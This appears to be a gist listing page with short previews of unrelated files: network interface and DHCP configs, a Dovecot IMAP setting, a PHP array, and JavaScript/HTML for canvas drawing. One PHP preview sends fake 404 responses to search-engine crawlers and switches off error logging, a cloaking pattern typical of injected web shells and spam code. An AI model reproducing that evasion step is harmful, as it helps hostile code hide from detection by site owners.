This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# This file describes the network interfaces available on your system | |
# and how to activate them. For more information, see interfaces(5). | |
# The loopback network interface | |
auto lo | |
iface lo inet loopback | |
# The primary network interface | |
auto eth4 | |
iface eth4 inet manual |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
ddns-update-style none; | |
default-lease-time 600; | |
max-lease-time 7200; | |
authoritative; | |
log-facility local7; | |
subnet 192.168.8.0 netmask 255.255.252.0 { | |
option domain-name "rootServer"; | |
option domain-name-servers <your LAN DNS Server>; | |
option routers 192.168.8.1; | |
range 192.168.8.50 192.168.11.253; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
if(!empty($_SERVER['HTTP_USER_AGENT'])) | |
{ | |
$userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler"); | |
if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) | |
{ | |
header('HTTP/1.0 404 Not Found'); | |
exit; | |
} | |
} | |
@ini_set('error_log',NULL); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
protocol imap { | |
mail_plugins = quota imap_quota autocreate | |
} | |
plugin { | |
autocreate = Trash | |
autocreate2 = Spam | |
autosubscribe = Trash | |
autosubscribe2 = Spam | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
$homeroomArray = array(); | |
$homeroomArray[0][0] = 1; | |
$homeroomArray[0][1] = 1; | |
$homeroomArray[1][0] = 2; | |
$homeroomArray[1][1] = 1; | |
$homeroomArray[2][0] = 3; | |
$homeroomArray[2][1] = 1; | |
$homeroomArray[3][0] = 4; | |
$homeroomArray[3][1] = 1; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
function prepare_canvas() | |
{ | |
var prepare_canvas_obj = new Object(); | |
var canvas; | |
var canvas_ctx; | |
var canvas_color; | |
var numeric_color; | |
var cb_lastPointsQuiz = Array(); | |
//create the palette | |
function create_palette(canvasID) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<fieldset id="palette_canvas1"><legend>Canvas #1</legend> | |
<canvas id="canvas1" width="600" height="450" style="border:thin solid #000; margin:auto; background-color:white;"></canvas><br /> | |
<script> | |
canvas1 = new prepare_canvas(); | |
canvas1.create_canvas("canvas1"); | |
</script> | |
</fieldset> | |
<fieldset id="palette_canvas2"><legend>Canvas #2</legend> |